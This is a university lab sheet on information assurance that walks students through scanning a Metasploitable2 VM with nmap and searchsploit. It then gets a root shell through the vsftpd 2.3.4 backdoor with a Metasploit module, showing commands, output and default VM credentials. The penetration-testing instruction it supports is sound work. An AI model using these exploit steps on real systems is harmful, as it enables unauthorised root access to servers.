Sri Lanka Institute of Information Technology
Information Assurance & Auditing - IE4040
Lab Sheet 5
Year 4, Semester 1

Exploit Vulnerabilities in Metasploit 2

Tools we will be using

- Metasploitable2
- Kali Linux

SYSTEMS

SETUP – KALI LINUX

Setup the virtual environment for the Kali Linux Penetration Testing Distribution

1. Start the Kali Linux VM
2. It should load to login relatively easily
3. At the login prompt Login in with the following:-
    a. Username = **root**
    b. Password = **toor**
4. Once you are in run the **ifconfig** command
5. Take a note of this ip

SETUP – METASPLOITABLE

Setup the virtual environment for the Linux Server (Metasploitable)

1. Start the Linux Metasploitable VM
2. It should load to login relatively easily
3. At the login prompt

Login in with the following:-

    a. Username = **msfadmin**
    b. Password = **msfadmin**

4. Once you are in run the ifconfig command
5. Take a note of this IP

PING EACH MACHINE FROM THE KALI LINUX MACHINE TO ENSURE WE HAVE FULL CONNECTIVITY

Sri Lanka Institute of Information Technology
Information Assurance & Auditing - IE4040
Lab Sheet 5
Year 4, Semester 1

NMAP -USING NMAP TO IDENTIFY SERVICES ON THE VULNERABLE MACHINES.

The first stage of assessment involves scanning Metasploitable2 with a network mapper to map all its open ports

nmap -sV [ip address of target]

We have a few common ports like SSH and FTP and we have enumerated their service version number, which means we can now perform some vulnerability analysis on each of these services.

```
root@kali:~# nmap -sV 192.168.1.108

Starting Nmap 7.60 ( https://nmap.org ) at 2019-06-11 15:13 EAT
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 1.00% done; ETC: 15:16 (0:03:18 remaining)
Nmap scan report for 192.168.1.108
Host is up (0.0042s latency).
Not shown: 978 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4   Target port and service
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
```

Searchsploit - search for potential exploits

searchsploit vsftpd 2.3.4

```
root@kali:~# searchsploit vsftpd 2.3.4
----------------------------------------------------------------- ------------------------------
 Exploit Title                                                   |  Path
                                                                 | (/usr/share/exploitdb/)
----------------------------------------------------------------- ------------------------------
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)           | exploits/unix/remote/17491.rb
----------------------------------------------------------------- ------------------------------
Shellcodes: No Result
root@kali:~#
```

In the image above, searchsploit has revealed that there is a Metasploit exploit module for the service. We can now load the module in the Metasploit console and try to exploit the service.

You can load the module by starting up the Metasploit console with the following command:

msfconsole

After starting the Metasploit console, we can load the module by using the following command:

use unix/ftp/vsftpd_234_backdoor

Once the module is loaded you can view the module options with the following command:

show options

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST    192.168.1.108    yes       The target address
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(unix/ftp/vsftpd_234_backdoor) >
```

The information required by the module is very simple and straightforward, all it requires is the target's IP address and port. I have set both the options, our target has a local IP address of 192.168.1.108, and the service is running on port 21. We can now run the exploit.

set RHOST 192.168.1.108

set RPORT 21

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.1.108:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.108:21 - USER: 331 Please specify the password.
[+] 192.168.1.108:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.108:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.107:33027 -> 192.168.1.108:6200) at 2019-06-11 15:27:07 +0300

id
uid=0(root) gid=0(root)
pwd
/
whoami
root
```

The exploit runs successfully and we get a reverse shell with root privileges on the target system, we now have full control of the target server.

This was a simple vulnerability to exploit, this demonstrates exactly why vulnerability analysis on your Linux servers is important. It will allow you to test each of the services running on the server for vulnerabilities.

Metasploitable2 has many more vulnerabilities to exploit and patch, Let us begin securing this server by patching the vsftpd 2.3.4 vulnerability.